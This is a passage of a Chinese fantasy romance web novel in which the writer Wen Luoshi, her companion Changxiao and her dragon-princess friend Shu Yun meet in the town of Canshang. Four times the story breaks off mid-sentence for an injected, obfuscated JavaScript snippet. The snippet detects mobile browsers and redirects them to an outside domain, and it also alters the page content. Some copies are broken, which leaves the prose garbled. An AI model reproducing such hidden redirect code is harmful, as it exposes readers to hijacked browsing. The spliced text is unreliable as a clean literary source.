不是吧?都说了那是废稿了,你干嘛还看啊! 长晓故意挑逗道:“要我说实话吗?” 文落诗满脸惶恐,做好慷慨就义的准备。 “自信点,你写得很好的。” 文落诗一下子舒了口气,紧绷着的弦断了。 “这是实话,哪怕只有只言片语,我都觉得你写得很好。”长晓顿了顿,又补充了一句,“哪怕别人不这么认为,我也坚持自己的看法。” 文落诗抬头,一双眼睛从昏沉变得亮起来。 “我就当你是在安慰我了。” “不是安慰,是真心的。” 文落诗感到身上一阵酥麻,心道,这个人,总是这样,明着道这种话我承受不住,偏要说,还偏要在这种昏黄暧昧的灯光里说。 于是她干脆趴到桌上,不再理他。 长晓也不说话,只是静静地抚过她身后的长发。 许久以后,文落诗重新抬起头,这动作太过于突然,惊得长晓那只还停留在她头发上的手顿时僵住。 “我最近越来越觉得,如果不是为了任务,或者为了生存,我会觉得写文字是一件很享受的事情。我喜欢笔刷触碰摩擦着纸的声音,喜欢硬邦邦的笔杆,喜欢纸上缓缓出现的文字时那种奇怪的成就感。所以,其实我真的很喜欢写东西,也从来不担心自己写不出东西。” 文落诗只觉得脑海中迷迷糊糊。天色已经完全黑下来,视线模糊了,有什么东西却开始躁动。 她说了一大堆,然后拿起水杯,一饮而尽。 “所以,赚钱是其次的。你喜欢写,才是最重要的。”长晓的声音很轻,融入了夜色之中。 文落诗只觉得这种昏暗而轻柔的氛围在侵蚀着她的理智,实在受不了了,手指一挥,夜明珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047861|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点亮。“你当然这么说,因为你不缺钱啊。你可不知道我当年……” 她想到了什么,没再往下说。 “可是反过来想,如果你真的做自己不喜欢的事情,那你就能做好,就能挣很多钱了?” “当然不是,”文落诗悠悠摇头,有种大醉方休之感,“这就是为什么我手里钱不多,但还要坚持写东西。因为我喜欢。” “你这是刚刚喝酒了?” “没有——我才没有——” “嗯,坚持你喜欢的。我当年也是这么过来的。” 文落诗懒懒抬眼:“你当年也穷过?我不信。” 长晓明白,这是他们的本质区别。他是为了实现心中所想,才刻意与母亲划清界限,不沉溺于荣华富贵。可他其实是有回头路的,但凡有一天他退缩了,回去依旧有光明万丈。但是面前这个姑娘,是真的一无所有,前无明路,后无退路,还自己刻意要出来闯,硬着头皮给自己闯出来些东西。 他想要生活,但她想要在生存的基础上有生活。 所以,他打心底里佩服她,欣赏她,觉得她好。 “好,”他干脆终了这个话题,“那我这个在文姑娘看来没穷过的人,过几日定会把文姑娘的房钱还回去。” 文落诗闻言,咧嘴一笑,起身。 “算了,以后不聊这事了,不想每天钱钱钱的挂在嘴边,显得我这个人这么注重物质。” 说完,她摇摇摆摆离开,走到门口时,忽然停下。 “长晓,我知道你是为我好。不管如何,今晚谢谢你。” 长晓忽道:“且慢。” 文落诗回头时,只见长晓面前蓝光涌动,幻化出一张琴。此琴一看就是上等的玉石制成,还泛着淡淡的蓝光,恬淡静然,像是天然的蓝色湖泊一样。琴轸处更是蔚蓝色的,仿佛浪花卷起、微波翻涌。 倒是跟她的气质挺像的。 “之前说过,把我以前的琴送你,你拿去玩就好。” 文落诗睁大眼睛,连连摆手:“不行不行,太贵重了,我承受不起。” 长晓笑道:“有什么承受不起的,不就是个琴吗?” “以前可是你的本命法器啊,里面有多少你的心血,你比我清楚。哪怕你换了新法器,这张琴里也会留有你的不少修为,怎么能说送就送我啊?” 长晓却道:“我如今已经不用此琴了,若是任由它这么放着,才是真正的浪费。你无论拿去当个普通的法器,还是随便弹弹,都比它就这么闲置要好。” 话虽是这个理,但文落诗还是十分犹豫。 算了,这个人情以后再还上就好了。 正如是想着,长晓仿佛读懂她的心思,又道:“送你个不用的法器而已,不用想着还人情。” “但是……” “你若是有顾虑,就当我的赔礼了。” “赔礼?”文落诗歪头。 “在沙漠里只有一床被子时,我出于无奈,不得不与你同床共枕,还因为怕被子太短而索性抱着你睡,现在想来,真是唐突了。” “……” 文落诗是彻底一个字都说不出来了。 长晓干脆摆手:“好好休息。” 文落诗想起在沙漠里的场景,顿时气血翻涌,一股热流涌上脸颊。这个屋内再也待不住了,她抱起琴,落荒而逃一般,迅速开门离去。 69. 半边秋雨半边月 第二日一早,文落诗出门的时候,客栈的掌柜忽然拦住她。 “与你一同前来的那个郎君,方才找到我,把你的间房接下来一年的房钱都付了!你们这是要住多久啊?” 文落诗震惊住:“一年?” 掌柜点头,满脸写着不解。 文落诗想也没想,快抱上楼,得到那人一个答案: “我感觉你这一个月过得挺舒服的。前些日子在森林中太累了,这里景色好,又是个小镇,没什么复杂的人情世故,生活也挺舒服,可以多休息一段时间。再者,你的稿件还没收到回复,怕是要等很久。” 文落诗一时半会被惊得说不出话来。 回过神之时,她才觉得,长晓真了解她。 “另外,”长晓眼底露出一丝复杂的神色,“这里是第二重天,我有些事情,可能需要在此多待一阵。” 文落诗点头,虽然她不知道长晓有何事,与这里是第二重天有何关系。 于是他们就真的在参商镇中住了大半年。 两人有时聊聊天,大多数时候还是各干各的。文落诗无数次感叹长晓的眼光真好,小镇很漂亮,镇里人际关系简单,生活也惬意,她觉得自己的身体养得可好了。 只是,在她无意识打了几个喷嚏时,才意识到,天意逐渐凉下来。 想来那片竹林将要成为枯竹,那片荷塘要布满枯荷。 还有一件重要的事情,就是离长晓的生辰越来越近了。 文落诗经常冥思苦想,送他个什么好。虽然他这个人,看上去似乎没怎么过过生辰,也没怎么收到过礼物。 真是不食人间烟火啊。 但我,偏偏要让他食一次。 话虽这么说,文落诗却已经为此苦恼很久了。望着桌子上的两样东西——琴和石莲,她更是觉这样压力重大。 每曾上街转悠,想看看有什么叫卖的新鲜事物,最终结果总是买回一大堆点心零食,后与长晓分而食之。 这也不能当贺礼啊。 * 这天,文落诗又像打了鸡血一般,决定再去看看。于是她早早出门了,开始在街上瞎转。 旁边的商铺都快认识她了,街上还是那些熟悉的行人,大多数也都是眼熟的。 忽然,文落诗脚步猛地停下,惊讶回头。 因为她在人群中,看到一个不该看到的身影。 文落诗走近时,那人也是满面惊讶,不可置信。 “舒允?你怎么在这里?” 文落诗上上下下看了她三遍,确定没认错人。 舒允的反应倒是比她快,迅速接受现状,张开怀抱:“阿落!” 文落诗被她毫无征兆地一抱,嘴角狠狠一抽:“放开放开,不要在街上搂搂抱抱的。” 舒允不以为意,把她拉到一个僻静的街角处:“你怎么在这里啊?” 文落诗闻言,差点翻白眼:“我在这里很正常,这是我界,我随便跑,跑哪里去都行。这话反倒该我问你,你怎么来魔界了?” 而且还是在这个节骨点上。 大战在即不到五十年,鎏金海域的龙族对此向来中立,因而此时,贵为公主、第一继承人的她,不应该在外面晃悠,以免让旁人以为鎏金海域这次要站队。 舒允愤愤道:“出来随便走走。” 文落诗惊呆:“你就这么张扬地随便走走?” “反正也没人认识我。除了你之外,刚刚街上没一个知道我是谁的。” 文落诗心想也对,是这个道理。 而且舒允掩去了身上的任何气息,混在人群中,要不是文落诗认识她的脸,根本注意不到她。 不过文落诗还是不信,淡淡睨着她,撇嘴:“跟我说实话。” 舒允忽然抬头看天,似乎天上有什么好看的。很久之后,她才悻悻道:“跟某人吵架了,亟需出来散心。” 文落诗一听这话,觉得这才是她的风格,放心了。 “行,你出来多久了?什么时候回去?需不需要我陪你?” 舒允笑眯眯盯着文落诗的眼睛,刻意拉长声调,语气飞扬道:“呦,你好关心我啊!” “这话说得,我什么时候不关心你了?” “嘶,倒也是。” “你人生地不熟的,胆子是真大,居然都到参商镇来了。” 说完这话,文落诗才反应过来,参商镇在第二重天,而第二重天临海。 这片海的深处就是鎏金海域,也就是说,第二重天其实离舒允家最近。而海的另一端,直通天界的第二重天。这确实是两界的另一个“相连”之处,只不过龙族横在中间,通常便没人把海当成一条路,大家都乖乖地去第一重天引卮山那里。 “你以为我刚从海里过来,在第二重天上晃悠啊?我其实已经在整个九天上来来回回转了好几年了,融雪城啊临渊城啊,我早就都去过了。” 文落诗再次目瞪口呆。 “至于我什么时候回去……不知道。” 舒允一副云淡风轻的样子,仿佛世界喧嚣与自己无关。文落诗看着就来气,不过替她着急之余,也觉得自己多虑了。 和她这么多年朋友,自然是知道她这个爱周游世界的特点,所以在这里偶遇她,也不算稀奇。反正她也没有即将要开战的顾虑,之前族里那堆破事,她前几百年也都解决了,现在确实是个大闲人。 不过,在文落诗的印象里,舒允再怎么爱逛游,都会去天界逛游。 原因很简单,她心上人在那里。 所以,在此处看到舒允,文落诗就隐约猜到,怕是她感情上出问题了。如今一问,果不其然。 但是她爱怎么谈情说爱,都跟自己没关系,文落诗也通常不过问她的私事,只是偶尔听听她吐槽。 “我刚刚碰上你,以为我看错了,特意把你从头到尾看了三遍,才确认的。”文落诗想了想,又道,“不对,今天你没露出尾巴。” 也没露出龙角。文落诗心里补充道。 舒允像平常一样,穿了条粉裙子,秋年天凉,她又系了个粉斗篷。整个人看上去平平常常,谁也想不到,街上这么一个普通人,有这么金贵震撼的身份。 舒允忽而一挑眉:“你怎么也不问问,我跟云涯怎么回事?” 哦对了,跟舒允情投意合……虽然现在可能吵架了的那位,也是个大人物。 “我对这种事没兴趣。你说我就听,你不说我就不问。” “嘿,”舒允见她那股不在乎的劲,直皱眉,“这么多年,你是一点长进都没有!” 文落诗拗不过她,干脆认输:“好,我长进了,那我问问你,和云涯怎么回事?” 谁知,真正需要回答这个问题的时候,舒允的神色反而动了动。哪怕她极力隐藏,文落诗也从她脸上看出了一丝苦楚。 “算了,我不问了,不想说就别说了。” “其实也不能怪他……我们两个,但凡有一个不是现在的身份,就好了。就什么事也没有了。” 文落诗静静听着,等她诉苦完。 “不过那样也不对。那样我们就可能不会遇上了。所以这件事,从一开始,就是一场死局。” “但是你们从来没放弃过在一起。”文落诗不咸不淡接了一句。 舒允眼神幽深,颔首:“是这样。我就想看看,到底有没有解法。” 文落诗没说话。她是个放在明面上的悲观主义者,每天伤春悲秋的,而舒允看似十分洒脱豁达,实则嘛……不好说。 舒允和她是私交,不带任何政治目的,纯朋友。但她从舒允这个“大人物”的口中,还是知道了不少不属于她这个小世界的事情。 比如,舒允的那位名叫云涯的心上人,便是当今天帝的长子,整个天界的大殿下,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15055990|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是未来继承帝位的不二人选。 当初刚认识舒允,文落诗听说她喜欢的人姓云的时候,就预感大事不妙。 她虽然对这些皇权斗争、宦海沉浮不感兴趣,可她看的书多啊,对天界的基本知识还是有的,这人姓云,就意味着这人是帝王家人。同样的道理,舒允姓舒,文落诗第一次听她报出名字的时候,几乎要震惊到腿软了。她本来以为这种帝王家人都是自视清高、目中无人的,没想到,后来她跟舒允玩得这么好,还成了动不动就见面的挚友。 至于舒允和云涯的感情纠葛,事实证明,文落诗的预判是正确的,因为这俩人互相喜欢上之后,最大的麻烦就在于,如何在一起。 一个是龙,一个是仙。 两个人都有自己要承担的责任,未来各是一方之主,焉有结为夫妻的道理?且不说那样就世间大乱、天下格局大变,就是两方的子民也绝对不干啊! 舒允有个弟弟,但据她这个亲姐姐所言,这个弟弟没啥执政天赋的样子。云涯也有个弟弟,但据舒允这个“嫂子”所言,好像他也不太行的样子。 碰上这种事,文落诗想想都觉得头疼,这简直就是话本里的“责任更重要还是爱人更重要”那个经典桥段。得亏她这种普通平民百姓一辈子不会遇到这种事。 她只需要思考,怎么把这种天然素材写进话本就好了。 话说回来,文落诗本以为,这二人会隐忍克制、欲迎还拒、强压爱意、拒绝宣之于口。后来她才发现,是她狭隘了。 舒允曾自信挺胸地拉着作为好姐妹的她,镇定到不能再镇定地和她说,自己和云涯,该做的早就都做过了。 文落诗是个熟读了当今大部分话本的人,自然一瞬间就听懂了舒允什么意思。那时候文落诗才知道,话本和现实的差距说大也大,说小也小。离谱的事情可能还真的会发生,甚至比话本里更离谱的事情,都可以在现实中发生。 “回神!回神!”舒允举起手,在文落诗眼前晃了晃,“又在研究怎么拿我俩的事情写故事啊?现在你多了一个情节叫吵架。” “叫谈情骂俏。” “不,就叫吵架!” “行,你说什么就是什么,”文落诗扶额,干脆打住这个话题。 文落诗深知,当朋友遇到感情上的问题,抱怨自己的爱人时,无论她怎么抱怨,都不要接话,更不要顺着她的话说对方不好。因为,没准第二天,她就啥事也没有了,还会反过来觉得你说她爱人怎么怎么不好。 被情爱冲昏了头脑的人可太多了,你觉得毫无逻辑、为对方糟蹋你的好心而震惊,对方却往往觉得自己做得可对了。 虽然舒允是个很讲理的人,大概不会这么做,但文落诗还是保持了自己的优良作风,什么也不多说。 “那你接下来打算怎么办?我是说,你是初来参商镇吗?” 舒允点头,理所应当道:“不过,既然碰上你,我和你住一起好了。” 文落诗无语。 她和彦月是曾在同一个屋檐下过夜的交情,但她和舒允,是曾在同一个被窝里过夜的交情。 所以舒允毫不犹豫抱上她的大腿,也算意料之中。 “你确定你就是闲逛,没有别的事情和任务?”文落诗还是觉得匪夷所思。 “当然!”舒允瞪眼,“你以为我是来帮云涯打探敌情的?真是看话本看多了,我这里没有这个情节,把你脑子里的浆糊收一收。” 文落诗嘴角直抽搐:“我问的是,你有没有自己要来魔界做的事情。” 舒允直接了当:“没有。” 文落诗彻底翻白眼了:“行了,我知道了。” 别看舒允走遍天下,这还真是她第一次来魔界。文落诗也是第一次有了尽地主之谊的感觉,承担起接待这个大活宝的责任。 于是,她把给长晓买贺礼的事情抛之脑后,带舒允去了竹林。 70. 半边秋雨半边月 这日的竹林已经不复往日的翠绿,而是尽显萧条之色。 竹叶尖干枯,竹竿发黄,竹节处仿佛皴擦过。 一旁的水潭中,枯荷纵横,干黄的莲蓬垂着头,残破的荷叶也只是零零星星堆在一处。 好似一派阴森的景色。 忽而一阵狂风吹过,枯荷接连颤动,干莲蓬摇摇欲坠;竹叶也随之而动,大摇大摆。 这场面似曾相识,却是不复曾经。 竹林中的一人,打破了这份诡异。 他在画荷,画的正是眼前的枯荷。他面无喜色,目不转睛盯着自己的画,时而抬头看看远处的萧然荷塘,便再次低下头。 如此认真,当是细致描摹了整幅景象。 可文落诗远远看到,他的画,更注重于写意。因为他的纸上,只有寥寥几笔。 “太疯狂了。”舒允叹道。 “你刚来第一天。我在这里住了半年多,最大的感受就是,这里的每一个人,看似平静,实则疯狂至极。”文落诗想了想,又道,“有些像你。” 舒允似乎想到了什么,眯眼:“我确实很想彻底疯一次。” 文落诗知道,她说的是,想真正做一次自己。 舒允的情绪很快平复,拉着文落诗继续在竹海中穿行。 深秋之时,竹海与荷塘皆枯黄,一无所看,与其说看景,倒不如说是看赏景之人,或是景之外的事物。 比如,文落诗看到有一盏地灯,是用被砍下的竹竿做成的。切面是斜的,矮矮的一小个,里面被人放了蜡烛,正燃着微弱的光。 旁边还有不少砍下的竹竿,文落诗走过去,随手捡起一个,唤出小刀,把竹竿切成了和眼前竹灯同样的形状。 “在制灯?”舒允走过来。 “嗯,不知道谁之前做了一个摆在这里,我觉得还挺有意思的。” “好啊,我也做一个,当成纪念的特产带回去。” “……”文落诗正认真打磨着切口处,闻言,一言难尽地抬头。 舒允却沉浸其中不亦乐乎,认真挑竹竿,认真砍断,认真打磨。 忽而一阵风起,吹得身旁的竹竿弯下来,朝着舒允的头顶奔去。 “小心!”文落诗赶在竹竿砸下之前,把舒允拽过来,舒允一个没站稳,直接趴在文落诗怀里。 文落诗的脖子使劲向后仰:“你……自己站起来,不然我的腰不行了。” 舒允站直,不怀好意地笑了一声:“我还真想知道,有没有人像刚刚那样抱过你啊?” 文落诗懵懵地盯了她一会,竟不知道怎么回答这个问题。 有,不久之前就有。 可是她总觉得,这件事说出来,就变了一个意思了。 舒允看她不回答,以为她像往常一样对这种问题嗤之以鼻,也不起疑。 恰巧此时风再起,吹得头顶上竹叶乱飞。 “怕是要来雨,”文落诗望望天空,看到一团淡淡的黑色正在靠近,“风这么大,晚上雨也应该不小。” “我可不想管哦!”舒允掩唇笑道,“这要是千百年前,下雨这种事,都是我族在管。可惜当今不是了。” 她虽嘴上说着,文落诗却见她跃跃欲试,便斜了她一眼:“你是生怕别人不知道你在这里啊。” 舒允立刻低头,假装刚刚自己什么也没做。 自从龙族从天界分离,去到鎏金海域自立门户后,天界的雨便另交由专职的仙君管辖。至于魔界的雨,以前是由龙族派来的一两条魔龙在管,但如今龙族离开两界,这里天气便完全取决于空气中流动的魔气了。有的魔气产雨,就会下雨。 但是,控雨相当于龙的本能。舒允此刻若是不想被淋成一个落汤龙,大可以挥挥手让那朵靠近的黑云消失。 “不指望你管雨,”文落诗斜了她一眼,“我甚至不指望你带伞。” 说着,文落诗手中粉烟一动,一把伞出现。 这雨来得急,本以为还需一段时间,谁想到说来就来。舒允身形一闪,迅速躲进了文落诗的伞下。 “你倒是自觉。” “当然,我任何时候都很自觉。” 文落诗一手拿着刚做完的竹灯,一手举着伞。而舒允几乎是再自然不过,把手臂轻轻向上一搭,环住文落诗撑伞的那只胳膊。 两个女孩贴在一起,望了望雨中的枯荷,在伞下往回走去。 一场秋雨一场寒。参商镇是个平淡而美丽的小镇,雨中家家户户窗户关上,长街人影稀疏,路面上时而溅起水滴,冷冷清清,却格外安宁。 回到客栈,文落诗带舒允上楼。 本想直接带舒允去自己的房间里,忽然想到长晓在对面,理应知会他一声。 她心里想着,反正舒允是龙族,中立的身份,不会太敏感,而且是自己多年的好友,长晓应该也不会有什么意见。 于是她对舒允道:“我有个朋友,之前一直跟我一起旅行,去了好几个地方。他近来住我对面,你这两天跟我说,我去知会他一下。” 舒允伸着脖子,望了望对面屋内的人影,顿时好奇:“男的女的啊?” 文落诗:“……男的。” 舒允眉毛一挑。 文落诗懒得跟她扯皮,径直走去,敲响长晓的房间门。 “长晓?是我。” 她没看到,身后的舒允顿时睁大眼睛。 门轻轻开了,长晓的身形出现在视野中。“找我有事?” “我偶然遇上一个朋友,带她来我房间住几天,知会你一声。”文落诗坦然道。 “好,我知道了。”长晓眉眼含笑,眼神全部在文落诗身上,完全没注意到她身后的人。 “之前跟你说过,我有个朋友叫舒允,她是龙……” “你怎么在这里?!” 舒允大叫一声,声音震得文落诗打了个哆嗦。 长晓猛然抬头,看向文落诗身后的女孩,也是双眼中写满震惊。不过没多久,他就平复下来,笑叹道:“好久不见。” 舒允惊得说不出话来,用手捂着嘴,下意识后退了一步。 而文落诗夹在两个人中间,左看看右看看,整个人都懵了。 不是吧,又来这一出?上次见彦月也是这样。长晓怎么谁都认识啊! “你们……之前见过?” “何止见过,那简直是……”舒允刚想说什么,忽然抬头,对上长晓的眼神,像是收到了长晓给她的传音入密,立即噤声。 文落诗对这种情况一脸无奈,看向长晓:“我之前跟你提她,你也没说你认识她啊。” 长晓更是一脸无奈:“这件事有点复杂。” 文落诗深深叹一口气:“算了,我短时间之内信息有点多,脑子有点晕。” 舒允直愣愣看着长晓,又看看文落诗:“你们两个……” “我认识他快四年了,之前一起去过不少地方,目前在参商镇这里住着。”文落诗也不掖着瞒着,直截了当。 而舒允用一种极为奇怪的表情看着文落诗。 文落诗朝她歪头,撇嘴,意思是,你省省啊。 舒允皱眉,“嘶”了一声,摇摇头。 转过头去,文落诗恰好看到长晓也在失笑摇头,频频叹气。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15060324|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他道:“这件事过于碰巧了。真是人生何处不相逢。” 谁料舒允忽然想到什么,一把拽起文落诗的衣角:“我不跟他聊了,快快,回屋!” 长晓眯了眯眼,没说话。 文落诗搞不懂这俩人到底是怎么认识的,又在打什么哑谜。她一头雾水,听到舒允要进屋,只得照做。 “那我带舒允在我这里住下了啊……那个……” 话还没说完,文落诗就被舒允拉近屋里。紧接着,门被舒允一脚踢上。 “呼——” 舒允长长叹了口气。文落诗刚要说什么,嘴巴立刻被舒允捂住。 “暂时别出声,我听听他什么动静。” 文落诗收到传音,更加不解,只好照做没出声。 舒允趴在门缝处,盯了很久,直到长晓回屋关门,才松懈下来。 “干嘛啊,搞得这么大阵仗。”文落诗见她猴子般一惊一乍的动作,十分疑惑。不过她想来心思缜密,注意到舒允似乎有话要说,还不想让长晓听到,便随手一挥,门前出现一道隔绝声音的粉色屏障。 “没事了,”舒允盘腿坐在床上,“我是真没想到在这里会碰到……呃那个谁……长晓。” 文落诗挑眉。她知道长晓一定另有身份,所以另有姓名。但具体是谁,他不说,文落诗也不过多追问。这么看来,舒允像是知道长晓是谁。 “你们俩怎么认识的?”文落诗站在床前,看着二话不说就霸占了自己床的舒允,只好居高临下地叉腰站在床边。 “以前碰上的,不及我和你认识这么久。”舒允像是不想过多回答,含糊其辞。 “行,我不问了。” 你说你们这一个个的,好像天大的秘密一样,啥也不说。之前彦月是这样,长晓是这样,舒允如今也是这样。 真是太麻烦了,不想接触这团乱麻。 文落诗脱鞋上床,盘腿坐在舒允边上。 “倒是你,”舒允凑上去,用一种看热闹不嫌事大的眼神瞅着文落诗,“老实交代,你们俩什么关系?” “我和长晓啊?之前不是跟你说了,他是我一个朋友,认识了快四年了,之前一起去过不少地方,目前在参商镇这里住着。”文落诗被她盯得心里发虚,只得把刚刚的话重复了一遍。 “哦,”舒允意味深长道,“我看着不止。” 紧接着,她的脑袋就被文落诗狠狠拍了一下。 “还嘲笑我看话本看多了,我看你才是看多了!这回见面我少送你几本。” 舒允神经兮兮笑着,一指床边桌上的琴:“琴呢?他送你的?” “嗯,”文落诗老老实实点头,“我前段时间送过他一个新的我自己做的琴,他蛮喜欢,就把法器换成新琴了。至于旧的,他说他送我了,让我拿去玩,因为……” 因为他说,在沙漠里只有一床被子时,与我同床共枕,还抱着我睡,所以当作赔礼。 不过这话硬生生卡在喉咙里,文落诗是一个字都没敢说出来。 “因为什么?”舒允仿佛抓住了重点。 “没什么。”文落诗别过头去。 舒允仿佛懂了,整张脸上写满了八卦的意味。“那个不知道叫什么的绿不拉几的花呢?” 文落诗看向她手指的方向,嘴角一抽:“那叫石莲!专门长在沙漠里的花。也是他买来送我的。” 舒允:“全是他送你的啊?” 文落诗彻底泄气,干脆躺倒。 她觉得,今天真是遭了罪了,带回来一个大活宝,而且很可能接下来的很久,都要接受来自她的灵魂拷问。 71. 半边秋雨半边月 屋外秋雨连绵,淅淅沥沥下着,而屋内暖融融的,正是聊天的最佳场所。 不过,文落诗都已经被舒允折磨得快没脾气了。她瘫在床上,闭着眼睛,舒允问什么,她就答什么,没有语气,没有情绪。 舒允拉拉她的胳膊:“起来起来,不许装睡,不许逃避现实。” “谁要装睡了,谁要逃避现实了?”文落诗慢条斯理睁开眼,无奈仰头看着舒允。 “当然是你啊!”舒允理直气壮,“我说阿落啊,你这是要不开窍到什么时候啊?人家送你这送你那,陪你一起去过这么多出生入死的地方,刚刚见你回来的时候眼神都快拉丝了,你竟然还单纯把人家当朋友?” 文落诗深深叹口气,从被子里坐起身,整个人像是精力消耗过多,颓废至极。 “哦,所以呢?”她实在懒得多说话。 舒允伸出手指戳戳她:“就问你一个问题,你给我老老实实好好回答。” 文落诗的神情有片刻恍惚,隐约猜到舒允要问什么,索性下床,去给自己倒了杯水。 “阿允,你这何止一个问题啊,都无数个问题了。” “不许扯开话题!我问的是,就他那个人,抱没抱过你?” 文落诗喝到一半的水差点呛住。 舒允见她定住不动,意识到事情不简单,眼睛开始眯起。 许久,文落诗轻轻点了点头。 她心道算了,反正被舒允问了这么多,她早就想摆烂了。只不过在点头之时,她莫名觉得心揪了一下,痒痒的。 一股从未有过的情绪涌上来,令她有些茫然无措,又有些淡淡的悲伤。 好像有什么大事,已经说出去了。 她一咬牙,企图解释道:“但是,是因为……” “停,打住。”舒允举起手,“没有但是了。这就是事实。” 奇怪的是,文落诗竟然没转头看她。 以往,若是文落诗真想否认一件事,定然会唰地一下眼神扫过来,语气那叫一个坚定。舒允第一次见文落诗这个样子,看上去懵懵的,好像有什么心事,而且连她自己都意识不到。 真是头疼啊。短时间之内,舒允已经想了一百种法子劝她了。 而文落诗很快回过神来,给舒允递了一杯水,语气平平淡淡:“你问题真够多的,喝水。” 舒允接过水杯,道:“也就是你,话都说到这个份上了,还能不慌不忙的,像个没事人一样。” 文落诗没承认,也没否认。 屋外雨声渐大,天已经完全黑了。文落诗把窗户关上,往白日里新做的竹灯筒里塞了个蜡烛,点燃后,屋里顿时明亮了些。 “算了算了,”舒允摆摆手,“我不问了。你自己的事自己决定,我再替你着急都没用。别生气啊,我确实问得有点多,但绝对是发自内心希望你好。” 文落诗回到床上,笑道:“我什么时候生过你的气啊?” 也对。 “你就是脾气太好了,”舒允想了想,又补充道,“这一点,你和长晓是真像。” 仿佛天生就该是一对。舒允在心里补充道。 而文落诗轻声道:“嗯,他脾气确实挺好的。” 不咸不淡的语气,不慌不忙的回答。 舒允深深看了文落诗一眼,心道算了。 白日里长晓与她遇上,她本想说什么,长晓几乎是紧急给她传音,止住了她后面的话。 长晓说的是:落诗暂时不知我身份。 那一刻,舒允就意识到了事情的复杂。她脑子一转,大概明白长晓为何会希望自己帮忙瞒着文落诗了。 文落诗曾与她说过,不想沾染任何政局,只想坐看云卷云舒,好好自己一个人过普普通通的一辈子。那时候她甚至觉得,以自己的身份和这样豁达淡然的人相识,有些耽误了对方,万一一个不好,让对方卷入什么,可就不妙了。 所以这些年,她把公事和私事分得很开,跟文落诗相处的时候,就好好聊天,不提她那些烂摊子麻烦事。文落诗也从来不多过问其他,只是偶尔在她抱怨太忙太累的时候,会静下心来安慰她,和她一起分析怎么才能解决问题。 这样的人,绝非无大才,也并非没有高尚的志向。舒允只是觉得,反倒更应该尊重文落诗选择的生活方式。 所以,她遇上长晓,准确来说,是个不幸。 光是遇上认识也就罢了,更不幸的是,舒允明显看出来,长晓对文落诗有意,而且意思还不浅。 认真盯了她看半天,舒允觉得,也问不出什么来,今天晚上就此作罢吧。这种故事,还是得交给故事的主角,自己去决定后续情节如何发展。 夜色压下来,屋内的一盏小竹灯成了唯一的光亮,昏昏暗暗中,两个女孩坐在床上,聊了些有的没的,说说笑笑,一直到深夜。 舒允心想,我跟你聊别的事情的事情,也没见你像刚刚似的那么困啊! * 翌日一早,文落诗带舒允出门去吃早饭。虽然她们根本用不着吃饭,但舒允是个不折不扣的美食品鉴家,昨天晚上就嚷嚷着要去吃好吃的,文落诗实在没办法,只得被迫临时改掉自己赖床不起的毛病,被舒允从床上拽下来。 坐进旁边的酒楼时,文落诗整个人昏昏沉沉的,至于吃什么,任由舒允随便点。 直到她闻到热腾腾的豆浆味,才觉得瞬间清醒过来。 “给你点的,我看你都快困死了。醒醒,吃好吃的。” 文落诗跟舒允不一样,舒允是宁愿少睡觉也要吃东西,文落诗是宁愿放弃美食也要睡觉。 ——但是豆浆是例外,完完全全的例外。 她愿意为了豆浆放弃很多事情。 文落诗喝着豆浆,看着舒允一通疯狂夹菜,心里暗叹她胃口真好。 舒允抢着付账后,拉着文落诗开始逛街。文落诗经过刚才的一杯豆浆,已经完全恢复了清醒的头脑,在街上左看右看,逛了一个又一个小铺,眼看着太阳从地面处升至上空,烤暖了整个小镇。 “那边好热闹!”舒允拉着文落诗就想跑过去。 “我的小祖宗啊,”文落诗无奈,“你都第三次绕回主街上了。这是主街啊,能不热闹吗……” “没事,逛一百次我都不腻。”舒允说完就冲向一家灯铺,不带犹豫的。 文落诗心里深深叹气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068542|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,羡慕舒允的活力。她想随后跟上,也顺便过去看看,谁料就这一眼,她惊奇看到了一个熟悉的身影。 主街上人潮汹涌,拥挤不断,花花绿绿一片,要说注意到一个人,实在不是什么容易事。 可是文落诗偏偏一眼就看到了。 